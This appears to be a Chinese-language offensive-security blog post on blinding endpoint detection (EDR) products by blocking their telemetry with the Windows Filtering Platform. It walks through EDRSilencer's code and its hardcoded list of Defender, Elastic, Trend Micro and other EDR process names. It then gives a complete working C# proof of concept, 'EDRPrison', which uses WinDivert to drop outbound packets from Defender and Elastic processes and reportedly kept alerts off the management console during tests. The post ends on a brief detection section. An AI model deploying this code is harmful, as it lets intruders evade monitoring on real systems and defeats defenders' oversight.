有了 WFPExplorer，我们更方便查看 callout、WFP 提供者、层、过滤器、网络事件等。从截图中可以看出，许多安全产品和内置应用程序有使用 WFP。。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/sNDimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/sNDimage.png)

几个工具已经利用 WFP 来阻止 EDR 进程发送遥测数据，包括 MdSec NightHawk C2 的 [FireBlock](https://www.mdsec.co.uk/2023/09/nighthawk-0-2-6-three-wise-monkeys/)、[Shutter](https://github.com/dsnezhkov/shutter) 和 EDRSilencer。Shutter似乎是最早使用 WFP 来静默 EDR 进程的项目(如果不是，请纠正我)，它还可以基于 IP 地址阻止流量。然而，如前所述，包含所有可能的 EDR 以及它们所有可能通信的 IP 是不现实的。由于 FireBlock 是闭源的，让我们分析 EDRSilencer 的代码片段。

EDRSilencer 硬编码了一个常见 EDR 和 AV 进程列表。每个产品可能有多个运行的进程，具有不同的功能，包括发送遥测数据，上传恶意软件样本等。

```c
char* edrProcess[] = {
// Microsoft Defender for Endpoint and Microsoft Defender Antivirus
    "MsMpEng.exe",
    "MsSense.exe",
    "SenseIR.exe",
    "SenseNdr.exe",
    "SenseCncProxy.exe",
    "SenseSampleUploader.exe",
// Elastic EDR
	"winlogbeat.exe",
    "elastic-agent.exe",
    "elastic-endpoint.exe",
    "filebeat.exe",
// Trellix EDR
    "xagt.exe",
// Qualys EDR
    "QualysAgent.exe",
...
//TrendMicro Apex One
    "CETASvc.exe",
    "WSCommunicator.exe",
    "EndpointBasecamp.exe",
    "TmListen.exe",
    "Ntrtscan.exe",
    "TmWSCSvc.exe",
    "PccNTMon.exe",
    "TMBMSRV.exe",
    "CNTAoSMgr.exe",
    "TmCCSF.exe"
};

```

FwpmEngineOpen0 函数打开一个到过滤引擎的会话，这是设置 WFP 过滤器的关键步骤。EDRSilencer 依赖于内置的 WFP 功能。

```c
    result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
```

使用内核模式过滤引擎需要提升权限，即高完整性。EDRSilencer 确保其在修改过滤引擎时具有必要的权限。

然后，EDRSilencer 使用 OpenProcess 获取运行进程的可执行文件的完整路径。不过，获得 EDR 进程的句柄可能会触发警报或检测。

```c
 HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
            if (hProcess) {
                WCHAR fullPath[MAX_PATH] = {0};
                DWORD size = MAX_PATH;
                FWPM_FILTER_CONDITION0 cond = {0};
                FWPM_FILTER0 filter = {0};
                FWPM_PROVIDER0 provider = {0};
                GUID providerGuid = {0};
                FWP_BYTE_BLOB* appId = NULL;
                UINT64 filterId = 0;
                ErrorCode errorCode = CUSTOM_SUCCESS;
                
                QueryFullProcessImageNameW(hProcess, 0, fullPath, &size);
                ......
```

接下来，EDRSilencer 设置 WFP 过滤器和条件。使用的过滤层是 FWPM\_LAYER\_ALE\_AUTH\_CONNECT\_V4。根据微软的说法，此过滤层允许授权出站 TCP 连接请求，以及基于第一个发送的数据包授权出站非 TCP 流量。这个过滤器是持久性的，如[文档](https://learn.microsoft.com/en-us/windows/win32/api/fwpmtypes/ns-fwpmtypes-fwpm_filter0)所述，分类操作设置为 BLOCK。

<dl id="bkmrk-the-condition-identi"><dt>[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/U2Nimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/U2Nimage.png)

条件标识符是 **FWPM\_CONDITION\_ALE\_APP\_ID**，这是一个从文件名派生的应用程序标识符，由 FwpmGetAppIdFromFileName0 函数执行后填充。为了避免内部调用 CreateFileW，可能会被 minifilter 截获并阻止访问 EDR 可执行文件，EDRSilencer 实现了该函数的自定义版本。匹配类型是 FWP\_MATCH\_EQUAL，确保应用程序标识符与指定值完全匹配。

</dt></dl>```c
                // Sett up WFP filter and condition
                filter.displayData.name = filterName;
                filter.flags = FWPM_FILTER_FLAG_PERSISTENT;
                filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V4;
                filter.action.type = FWP_ACTION_BLOCK;
                cond.fieldKey = FWPM_CONDITION_ALE_APP_ID;
                cond.matchType = FWP_MATCH_EQUAL;
                cond.conditionValue.type = FWP_BYTE_BLOB_TYPE;
                cond.conditionValue.byteBlob = appId;
                filter.filterCondition = &cond;
                filter.numFilterConditions = 1;

                 // Add WFP provider for the filter
                if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
                    filter.providerKey = &providerGuid;
                } else {
                    provider.displayData.name = providerName;
                    provider.displayData.description = providerDescription;
                    provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
                    result = FwpmProviderAdd0(hEngine, &provider, NULL);
                    if (result != ERROR_SUCCESS) {
                        printf("    [-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
                    } else {
                        if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
                            filter.providerKey = &providerGuid;
                        }
                    }
                }

                // Add filter to both IPv4 and IPv6 layers
                result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
                ......
```

最后，过滤器被添加到 IPv4 和 IPv6 层以确保全面覆盖。

```c
result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);
```

### **其他基于网络连接的规避的变种**

像 Fireblock、Shutter 和 EDRSilencer 这样的工具通过向 EDR 可执行文件添加过滤器来运作。因此，有工具设计来检测此类过滤器。例如，[EDRNoiseMaker](https://github.com/amjcyber/EDRNoiseMaker) 项目可以检测添加到预定义的 EDR 可执行文件列表的异常 WFP 过滤器并相应地移除它们。

那么，还有其他可能的基于网络连接的规避变种吗？以下是两种可能的方法。第一种变体涉及篡改系统上的 hosts 文件。这一想法也在[这篇文章](https://windowsir.blogspot.com/2024/01/edrsilencer.html)中讨论过。通过将 EDR 联系的服务器与有意的虚假地址绑定，例如 127.0.0.1，遥测数据将被发送到错误的目的地。虽然这种方法听起来很简单，但需要考虑几个实际问题：

1. **全面映射**：我们需要将所有可能的联系服务器都绑定到虚假 IP 地址，这需要添加数百或数千条条目。
2. **缺乏隐蔽性**：修改hosts文件不隐蔽，容易被监控工具检测到。
3. **直接使用 IP**：一些 EDR 可能使用 IP 地址而不是域名，绕过 hosts 文件的修改。
4. **缓存地址**：除非重新启动 EDR 服务或操作系统，否则正确的 IP 地址可能仍会缓存到内存中，使 hosts 文件的修改不生效。

第二种变体涉及为 EDR 代理设置恶意代理。这个代理可以是攻击者控制的服务器或无效代理，例如 127.0.0.1:8080。在我对恶意代理方法的研究中，遇到了几个导致走进死胡同的挑战。

### **恶意代理：通向兔子洞的路**

我花了几天时间探索恶意代理方法，但遇到了多次死胡同，可能是由于对某些概念不熟悉。我们的目标是强制 EDR 代理将遥测数据发送到恶意代理服务器，可以是攻击者控制的服务器或无效代理。无论哪种方式，数据都不会到达云服务器。

为 EDR 配置代理会比较棘手，特别是因为不同程序优先选择代理设置的方式不同。有些程序默认不启用代理，而其他程序将其代理选择与操作系统的全局代理配置一致。各种程序优先考虑不同的代理设置：

1. **全局代理设置**：一些程序遵循操作系统设置的全局代理配置。
2. **环境变量**：其他程序可能优先考虑在环境变量中指定的代理设置，如 HTTPS\_PROXY 或 HTTP\_PROXY。
3. **应用程序特定设置**：一些程序有其独立于系统或环境变量的代理设置。

在Windows中配置代理有几种方法：

1. **netsh 命令**：通过netsh命令配置 HTTP 代理。
2. **网络和互联网&gt;代理**：通过 Windows 设置中的网络和互联网&gt;代理页面设置代理，这与注册表中HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings 同步。
3. **环境变量**：使用环境变量，如 HTTPS\_PROXY 和 HTTP\_PROXY 设置代理

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/CJsimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/CJsimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/2Q8image.png)](https://winslow1984.com/uploads/images/gallery/2024-06/2Q8image.png)

尽管有这些方法配置代理，但直接修改正在运行的 EDR 服务的代理设置则不太可能。

此外，由于 EDR 服务通常以 **NT AUTHORITY\\SYSTEM** 上下文运行，代理设置需要是系统范围的。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/GvPimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/GvPimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/Ypyimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/Ypyimage.png)

根据 [Elastic 文档](https://www.elastic.co/guide/en/fleet/current/fleet-agent-proxy-support.html)，在企业环境中，通常启用代理设置用于监控和日志记录。Elastic Endpoint 支持服务器端指定的代理设置，和主机的环境变量。如果在服务器端指定代理设置，它将忽略终端上的所有代理设置。即使代理设置基于环境变量，我们也需要重新启动服务以应用新设置，这很有风险且可能需要我们所没有的权限。这导致我走进了一个死胡同：是否可以实时地更改服务的环境变量呢？

我们可以使用命令 dir env: 列出 shell 会话中的所有环境变量：

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/oZnimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/oZnimage.png)

通过使用 WinDBG 附加到 PowerShell 进程，我们可以通过 PEB 遍历的方法找到环境变量。当前环境块的大小是 0x1340。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/kx8image.png)](https://winslow1984.com/uploads/images/gallery/2024-06/kx8image.png)

不幸的是，我们没有额外的空间来添加环境变量。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/ULFimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/ULFimage.png)

在 PowerShell 中，添加新的环境变量很简单。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/SmEimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/SmEimage.png)

然而，当我们添加新变量时，Environment 元素的地址发生变化，这说明新变量并不是直接被添加到环境变量列表中的。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/dCcimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/dCcimage.png)

要理解 Environment 元素地址的修改方式，我们可能需要对 powershell.exe 进行逆向工程，这使过程进一步复杂化。此外，即使我们了解了 PowerShell 对添加环境变量的处理规律，还会面临更多挑战：

1. **程序特定的逻辑**：处理环境变量的逻辑在程序之间可能不同。虽然在 PowerShell 会话中添加或修改环境变量很简单，但对于其他进程并不一定如此。
2. **远程进程修改**：为远程进程(尤其是 EDR 进程)添加环境变量更加困难和危险。
3. **静态变量存储**：根据程序的代码，一些应用程序可能在初始运行时读取并存储环境变量的值。即使在执行过程中添加或更改环境变量值，代码中的静态变量值也不会更新。

此外，Elastic Endpoint 的代理设置可以在服务器上指定，从而覆盖终端上的所有系统设置。此外，根据微软关于[配置 MDE 代理设置](https://learn.microsoft.com/en-us/defender-endpoint/configure-proxy-internet)的文档，MDE 的代理配置有多个来源，以及不同的优先级。因此，至少在用户模式下，没有通用且有效的方法来强制使用恶意代理。

### **借用合法的驱动程序来伪装**

EDRSilencer 使用内置的 callout 函数，消除了加载外部驱动程序的需要。虽然 WFP 允许包过滤和基本的数据包操作，其更高级别的抽象可能不适合所有低层级网络操作。为了实现更高的灵活性，外部的 WFP callout 驱动程序会更有帮助。

如前所述，微软提供了一个 WFP 案例。主程序是一个示例防火墙，驱动程序导出 callout 函数用于包注入、基本操作、代理和检视。我们讨论了在用户空间内实现恶意代理方法的可能性，并走进了死胡同。然而，使用自定义 callout 驱动程序，在内核模式下实现这一目标变得可行。而 WFP Sampler 是一个很好的例子。

不幸的是，微软只提供了 WFP Sampler 的源代码，没有提供编译后的驱动和主程序。虽然该项目是学习 WFP 编程的宝贵资源，但它意味着我们需要自己签名驱动。我们的目标是依赖一个现有的合法 WFP callout 驱动，增加更多的灵活性，如数据包拦截、数据包注入、深度数据包检查等。由于 WFP 被许多合法软件广泛采用，特别是安全产品，找到合适的驱动程序并不困难。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/gNQimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/gNQimage.png)

然而，对于闭源软件，我们无法获得其源代码。虽然逆向工程闭源的 callout 驱动也是一种选择，但是否有签名过且开源的强力 WFP callout 驱动呢？[WinDivert](https://github.com/basil00/Divert) 就是这样一个驱动程序。

WinDivert 是一个为 Windows 设计的用户模式数据包拦截和操作工具。它提供了一个强大且灵活的框架，用于在网络堆栈级别拦截、修改、注入和丢弃网络数据包。它作为一个轻量级、高性能的驱动程序，直接与网络堆栈接口，允许实时的详细数据包检查和操作。

WinDivert 可用于实现数据包过滤器、嗅探器、防火墙、IDS、VPN、隧道应用程序等，具有以下关键功能：

1. **数据包拦截**：从网络堆栈捕获数据包，允许实时监控和分析。
2. **数据包注入**：支持将修改后的数据包或新数据包重新注入网络堆栈。
3. **数据包修改**：允许详细操作数据包内容，包括头部和有效负载。
4. **协议支持**：支持广泛的网络协议，包括 IPv4、IPv6、TCP、UDP、ICMP 等。
5. **过滤**：使用灵活且强大的过滤语言指定数据包拦截和修改的标准。

因为一些安全软件也有适用 WinDivert，使其具有普遍正面的声誉。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/s3Mimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/s3Mimage.png)

WinDivert 作为内核模式驱动程序运行，钩入Windows 网络堆栈。它提供了一个用户模式 API，供应用程序与驱动程序交互，实现数据包拦截、修改和注入。驱动程序使用自定义过滤引擎，根据用户定义的规则确定拦截哪些数据包。

```
                              +-----------------+
                              |                 |
                     +------->|    PROGRAM      |--------+
                     |        | (WinDivert.dll) |        |
                     |        +-----------------+        |
                     |                                   | (3) re-injected
                     | (2a) matching packet              |     packet
                     |                                   |
                     |                                   |
 [user mode]         |                                   |
 ....................|...................................|...................
 [kernel mode]       |                                   |
                     |                                   |
                     |                                   |
              +---------------+                          +----------------->
  (1) packet  |               | (2b) non-matching packet
 ------------>| WinDivert.sys |-------------------------------------------->
              |               |
              +---------------+
```

与内置的 WFP 相比，WinDivert 具有以下优点：

1. **数据包注入**：内置 callout 函数不原生地支持将数据包重新注入至网络堆栈。虽然可以对数据包进行修改，但重新注入需要内置 WFP callout 函数所不具备的额外机制。WinDivert 提供了直接支持数据包注入的功能，使应用程序可以将修改后的或新创建的数据包直接重新注入至网络堆栈。
2. **扩展功能**：内置 WFP callout 函数受限于 WFP API 提供的功能和特性，自定义范围有限。相比之下，WinDivert 显著扩展了功能，提供对更广泛协议的支持、更灵活的过滤条件和高级的数据包操作选项。
3. **直接与网络堆栈交互**：内置 callout 函数是 WFP 框架的一部分，抽象了许多低层级细节，减少了与网络堆栈直接交互的灵活性。作为独立驱动，WinDivert 提供对网络数据包的直接访问，允许更多的控制和定制，包括与硬件级别的数据包处理的直接交互。
4. **易用性**：配置和使用内置 WFP 可能很复杂，需要详细了解 WFP API 及其细节。WinDivert 提供了更简单、更直观的 API，用于数据包拦截、修改和注入，使开发人员更容易实现复杂的网络处理任务。

WinDivert 官方仓库包括示例程序，如网络流量跟踪应用程序、简单的数据包捕获和转储应用程序、简单防火墙应用程序、多线程骨架应用程序、套接字操作转储程序、TCP流重定向到本地代理服务器程序和简单的 URL 黑名单过滤程序。在这些示例中，steamdump 是实现内核模式下恶意代理的良好参考，netfilter 可以用于开发改进后的静默 EDR 的方案，passthru 展示了多线程技术的有效使用以提升性能。此外，我注意到 webfilter 示例，可以作为实现 HTTP 数据包检查程序的优秀模板。我有一个想法：通过利用 WinDivert 创建一个透明代理，在 EDR 代理和云服务器之间进行中转，我们可以解密它们的通信并检查遥测数据。如果遥测数据包含检测或警报信息，我们可以丢弃数据包以防止在 EDR 管理面板上出现新警报。否则，我们可以安全地让数据包通过。这种方法将选择性地阻止触发警报的数据包，使得 EDR 代理在管理面板上显示为在线和健康的状态。

不同的 EDR 解决方案有不同的标准来判断是否不健康或离线。例如，根据我的观察，Elastic Endpoint 和 Microsoft Defender for Business具有以下规律：

1. 如果 elastic-agent.exe 可以连接到服务器，但elastic-endpoint.exe不能，或者遥测数据遭到损坏，代理将在约 5 分钟后被标记为不健康。
2. 如果 elastic-agent.exe 和 elastic-endpoint.exe 都不能连接到服务器，代理将在约 7 分钟后被标记为离线。
3. 对于 MDE，即使传感器无法连接到任何云服务器，终端仍然被标记为在线状态。然而，最后的设备更新时间戳可能会揭示断开连接，因为到目前为止，该时间戳已经落后2天了。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/i0Wimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/i0Wimage.png)

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/m0himage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/m0himage.png)

通过了解这些标准，我们可以定制我们的透明代理方案，确保 EDR 代理保持在线和健康的状态，同时选择性地过滤可能触发警报的遥测数据

##### **恶意代理，第二轮**

考虑到遥测数据通常包含在 HTTPS 数据包中，理想的做法是检查它们以识别哪些数据包包含警报或检测信息。通过过滤这些特定数据包，我们可以避免在管理面板上出现新警报。为了实现TLS透明代理，[HttpFilteringEngine](https://github.com/TechnikEmpire/HttpFilteringEngine) 及其继承者 [CitadelCore](https://github.com/TechnikEmpire/CitadelCore) 提供了优秀的解决方案。它们提供强大的功能，包括：

1. **数据包捕获和转向**：利用 WinDivert 驱动程序和库自动捕获和转向数据包，实现透明的 TLS 代理。
2. **受信任根证书管理**：高效管理受信任的根证书。
3. **自动操作系统信任建立**：使用一次性根 CA 和密钥对，自动与操作系统信任建立信任。
4. **非HTTP数据包处理**：允许非 HTTP 数据包无阻碍通过。
5. **载荷管理**：根据需要保留整个请求或响应的载荷以进行详细检视和操纵。
6. **响应操作**：根据具体要求修改响应中的载荷。

理论上，这些工具可以有效检查某些 EDR 包含遥测数据的数据包。然而，一些 EDR 供应商意识到潜在的 MITM 攻击并采取了对策。例如，Elastic 允许管理员指定受信任的证书，使得在没有正确证书的情况下无法建立 TLS 连接。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/Lgtimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/Lgtimage.png)

总之，虽然检查代理的出站数据包并选择性过滤那些包含警报或检测信息的数据包，是避免在 EDR 管理面板上出现警报，且同时保持代理在线和健康状态的理想方法，但这一方法并不普遍适用。一些供应商已经实施了防止 MITM 攻击的措施，限制了这一策略的有效性。因此，尽管是可能的，但这一方法需要仔细考虑具体的 EDR 解决方案及其安全机制。

我还尝试了一种侧信道方法，通过确立可能包含警报或检测信息的数据包尺寸基线。然而，我未能观察到任何明显的规律。有时，一个小尺寸的数据包就包含了警报信息，而一个大尺寸的数据包却只包含主机操作系统相关信息而没有任何警报或检测数据。此外，为每个 EDR 都确立正确的基线尺寸，这所需的工作量将非常大。因此，尽管理论上是可能识别并选择性过滤包含警报信息的数据包，由于缺乏一致的数据包尺寸规律和大量的工作量，这在实践中不可行。每个 EDR 都有自己的遥测数据打包方式，难以建立通用的基线。

##### **改进的遥测静默方法**

虽然我尝试了一种更创新的方法——使用 TLS 透明代理选择性过滤数据包以拦截警报数据，同时保持终端在线和健康——但这种方法可能因 MITM 攻击缓解措施而无效。因此，如果我们能在保持 EDRSilencer 功能的同时增强其规避性，仍然可以被视为一种改进。接下来，我将详细介绍工具 EDRPrison 的功能和改进。

EDRSilencer 硬编码了一个可能的 EDR 进程名称列表，然后在主机上搜索这些进程并获取它们的 PID。接着，通过 OpenProcess 函数打开这些进程的句柄并获取它们的可执行文件地址。然后，EDRSilencer 将持久的 WFP 过滤器添加到这些 EDR 可执行文件中。这些过滤器在程序关闭时不会自动移除，除非手动清除。此过程有几个可能触发检测的点：

1. 调用 OpenProcess 以获取 EDR 进程的句柄。
2. 持久的 WFP 过滤器。

我的工具 EDRPrison 同样硬编码了一个可能的 EDR 进程名称列表，然后在主机上搜索这些进程并获取它们的 PID。获得PID后，EDRPrison 持续拦截并从数据包中检索相关的 PID。WINDIVERT\_ADDRESS 结构包含了数据包的详细信息，包括远程地址、远程端口、协议、PID 等。这样，我们不必频繁调用 GetExtendedTcpTable 来关联进程与其网络活动，这非常消耗性能。通过利用WINDIVERT\_ADDRESS 提供的信息，我们可以直接将数据包与其发起的进程关联，从而减少性能开销并提高我们的监控和过滤操作的效率。这种方法允许我们在确保有效的数据包拦截和检视的同时保持高性能。

```c
typedef struct
{
    UINT32 IfIdx;
    UINT32 SubIfIdx;
} WINDIVERT_DATA_NETWORK, *PWINDIVERT_DATA_NETWORK;

typedef struct
{
    UINT64 Endpoint;
    UINT64 ParentEndpoint;
    UINT32 ProcessId;
    UINT32 LocalAddr[4];
    UINT32 RemoteAddr[4];
    UINT16 LocalPort;
    UINT16 RemotePort;
    UINT8  Protocol;
} WINDIVERT_DATA_FLOW, *PWINDIVERT_DATA_FLOW;

typedef struct
{
    UINT64 Endpoint;
    UINT64 ParentEndpoint;
    UINT32 ProcessId;
    UINT32 LocalAddr[4];
    UINT32 RemoteAddr[4];
    UINT16 LocalPort;
    UINT16 RemotePort;
    UINT8  Protocol;
} WINDIVERT_DATA_SOCKET, *PWINDIVERT_DATA_SOCKET;

typedef struct
{
    INT64  Timestamp;
    UINT32 ProcessId;
    WINDIVERT_LAYER Layer;
    UINT64 Flags;
    INT16  Priority;
} WINDIVERT_DATA_REFLECT, *PWINDIVERT_DATA_REFLECT;

typedef struct
{
    INT64  Timestamp;
    UINT64 Layer:8;
    UINT64 Event:8;
    UINT64 Sniffed:1;
    UINT64 Outbound:1;
    UINT64 Loopback:1;
    UINT64 Impostor:1;
    UINT64 IPv6:1;
    UINT64 IPChecksum:1;
    UINT64 TCPChecksum:1;
    UINT64 UDPChecksum:1;
    union
    {
        WINDIVERT_DATA_NETWORK Network;
        WINDIVERT_DATA_FLOW    Flow;
        WINDIVERT_DATA_SOCKET  Socket;
        WINDIVERT_DATA_REFLECT Reflect;
    };
} WINDIVERT_ADDRESS, *PWINDIVERT_ADDRESS;
```

如果获取到的 PID 在识别的 PID 列表中，表明数据包是由 EDR 进程发起的，应被阻止或丢弃。为了实现更好的性能，我们最好设置适当的过滤器，利用多线程技术，并根据需要采用批处理以优化性能。

### **针对多种 EDR 产品的测试**

我的伙伴用 C# 实现出了 EDRPrison 的 POC，我们硬编码了 Elastic Endpoint 与 MDE 的相关进程。

```c#
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using WindivertDotnet;

namespace App
{
    internal class Program
    {
        static ConcurrentDictionary<string, string> concurrentDictionary = new ConcurrentDictionary<string, string>();
        static ConcurrentDictionary<string, int> processDictionary = new ConcurrentDictionary<string, int>();

        static void initData()
        {
            processDictionary.TryAdd("MsMpEng.exe", 1);
            processDictionary.TryAdd("MsSense.exe", 1);
            processDictionary.TryAdd("SenseIR.exe", 1);
            processDictionary.TryAdd("SenseNdr.exe", 1);
            processDictionary.TryAdd("SenseCncProxy.exe", 1);
            processDictionary.TryAdd("SenseSampleUploader.exe", 1);
            processDictionary.TryAdd("elastic-endpoint.exe", 1);
        }
        static string GetProcessNameByPID(int pid)
        {
            string processName = string.Empty;
            try
            {
                Process process = Process.GetProcessById(pid);
                processName = process.ProcessName;
            }
            catch (Exception ex)
            {
                //Console.WriteLine($"[-] GetProcessNameByPID-Exception:{ex.Message}");
            }
            return processName + ".exe";
        }
        public unsafe static string GetRmAddrPortFlow(WinDivertAddress addr)
        {
            string strAddr = addr.Flow->RemoteAddr.ToString();
            string strPort = addr.Flow->RemotePort.ToString();
            if (strAddr.StartsWith("::ffff:"))
            {
                strAddr = strAddr.Substring("::ffff:".Length) + ":" + strPort;
            }
            else
            {
                strAddr = strAddr + ":" + strPort;
            }
            return strAddr;
        }

        public unsafe static string GetRmAddrPortNetwork(WinDivertParseResult result)
        {
            string strAddr = string.Empty;
            string strPort = string.Empty;
            if (result.IPV4Header != null)
            {
                strAddr = result.IPV4Header->DstAddr.ToString();
            }
            if (result.IPV6Header != null)
            {
                strAddr = result.IPV6Header->DstAddr.ToString();
            }
            strPort = result.TcpHeader->DstPort.ToString();
            strAddr = strAddr + ":" + strPort;
            return strAddr;
        }

        public unsafe static string GetProcessID(WinDivertAddress addr)
        {
            int procId = addr.Flow->ProcessId;
            return GetProcessNameByPID(procId);
        }
        public static unsafe void InsertDictionary(WinDivertAddress addr)
        {
            try
            {
                string procName = GetProcessNameByPID(addr.Flow->ProcessId);
                string rmAddrPort = GetRmAddrPortFlow(addr);
                if (processDictionary.ContainsKey(procName))
                {
                    concurrentDictionary.TryAdd(rmAddrPort, "[+] Block:" + procName + " Remote:" + rmAddrPort);
                    //Console.WriteLine($"ProcessName:{procName} RemoteAddr:{rmAddrPort}");
                }
            }
            catch (Exception ex)
            {
                //Console.WriteLine($"[-] InsertDictionary-Exception:{ex.Message}");
            }
        }
        public static unsafe bool CheckInDictionary(WinDivertParseResult result, out string DictValue, out string processName)
        {
            bool reflag = false;
            DictValue = string.Empty;
            processName = string.Empty;
            string rmAddrPort = GetRmAddrPortNetwork(result);
            if (concurrentDictionary.ContainsKey(rmAddrPort))
            {
                concurrentDictionary.TryGetValue(rmAddrPort, out DictValue);
                string[] parts = DictValue.Split(new string[] { "Block:", " Remote" }, StringSplitOptions.None);
                if (parts.Length > 1)
                {
                    processName = parts[1].Trim();
                }
                reflag = true;
            }
            return reflag;
        }
        public static unsafe bool DoWorkPacket_Step1(WinDivertParseResult result)
        {
            bool reflag = false;
            if (result.IPV4Header == null && result.IPV6Header == null)
            {
                reflag = true;
            }
            return reflag;
        }

        static async Task Main(string[] args)
        {
            initData();

            Task task1 = DoWorkAsyncFlow();
            Task task2 = DoWorkAsyncNETWORK();

            // 等待两个任务同时完成
            await Task.WhenAll(task1, task2);
            Console.WriteLine("Both Tasks Finished");
        }

        static async Task DoWorkAsyncFlow()
        {
            var filter = Filter.True;
            using var divert = new WinDivert(filter, WinDivertLayer.Flow);
            using var packet = new WinDivertPacket();
            using var addr = new WinDivertAddress();

            while (true)
            {
                var recvLength = await divert.RecvAsync(packet, addr);
                InsertDictionary(addr);
            }
        }

        static async Task DoWorkAsyncNETWORK()
        {
            var filter = Filter.True.And(f => f.IsIP && f.IsTcp).And(f => f.Network.Outbound).And(f => !f.Network.Loopback);
            using var divert = new WinDivert(filter, WinDivertLayer.Network);
            using var packet = new WinDivertPacket();
            using var addr = new WinDivertAddress();

            while (true)
            {
                var recvLength = await divert.RecvAsync(packet, addr);
                var result = packet.GetParseResult();

                if (DoWorkPacket_Step1(result))
                {
                    continue;
                }

                string BlockMessage = string.Empty;
                string ProcessName = string.Empty;
                if (!CheckInDictionary(result, out BlockMessage, out ProcessName))
                {
                    var checkState = packet.CalcChecksums(addr);
                    var sendLength = await divert.SendAsync(packet, addr);
                }
                else
                {
                    processDictionary.TryGetValue(ProcessName, out var limitLen);
                    if (recvLength < limitLen)
                    {
                        var checkState = packet.CalcChecksums(addr);
                        var sendLength = await divert.SendAsync(packet, addr);
                    }
                    else
                    {
                        if (!BlockMessage.Equals(string.Empty))
                        {
                            Console.WriteLine($"{BlockMessage} PacketLen:{recvLength} LimitLen:{limitLen}");
                        }
                    }
                }
            }
        }
    }
}
```

我们之后会提供用 C++ 实现的更完善的版本，因为该 C# 程序需要其他文件的落地。总之，编译该 C# 项目后，在我装有 Elastic Endpoint 与 MDE 的测试主机上运行，程序并没有被检测，这是意料之中的，因为 WinDivert 与相关程序本身是可用于合法用途的，例如防火墙。但从这时候开始，EDR 代理发出的遥测数据便不会抵达 EDR 控制面板了。

我们尝试运行一些经典恶意软件，例如没有修改过的 mimikatz 和 rubeus，依旧会被终止运行，这是因为即便离线也是有最基本的杀软的能力，并且看到接下来一小段时间内，(被拦截的)数据包数量激增，因为会有大量包含检测的遥测数据发出。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/bmdimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/bmdimage.png)

但最终我们并没有在 EDR 控制面板上看到新的警报。如果运行一些更加复杂的恶意软件，因为缺乏云端的分析与机器学习，便不会被 EDR 阻止了。

### **检测与防御**

我们已经介绍了 EDRPrison 的优势，那么如何检测或防御这种攻击呢？以下是一些可以考虑的方案：

##### **驱动程序加载事件**

如果系统上未安装 WinDivert 驱动程序，EDRPrison 将在首次运行时安装 callout 驱动。操作系统和遥测数据都会记录此事件。然而，驱动程序加载事件默认不被视为高风险，因此管理员可能会忽略它们。此外，一些合法软件也会加载此驱动程序。

##### **WinDivert64.sys 和 WinDivert.dll 的存在**

EDRPrison 和其他依赖 WinDivert 的程序需要 WinDivert64.sys 和 WinDivert.dll 存在于磁盘上。通常，这些文件不会被检测为恶意软件，但一些供应商也认识到 WinDivert 可被用于恶意目的。例如，2019年，Divergent 恶意软件使用 NodeJS 和 WinDivert 进行无文件攻击，详情见[此](https://www.tripwire.com/state-of-security/divergent-malware-using-nodejs-windivert-in-fileless-attacks)。此外，根据一个 [issue](https://github.com/basil00/Divert/issues/274)，一些反作弊系统如果检测到 WinDivert 已安装，则会拒绝运行游戏。

##### **WinDivert 使用检测工具**

WinDivert 的作者还编写了一个程序 [WinDivertTool](https://github.com/basil00/WinDivertTool)，用于检测当前使用 WFP 的进程。输出非常详细，WinDivertTool 甚至可以终止相关进程或卸载 WinDivert 服务。

[![image.png](https://winslow1984.com/uploads/images/gallery/2024-06/scaled-1680-/vMZimage.png)](https://winslow1984.com/uploads/images/gallery/2024-06/vMZimage.png)


##### **针对 EDR 进程的数据包丢弃/阻止的操作**

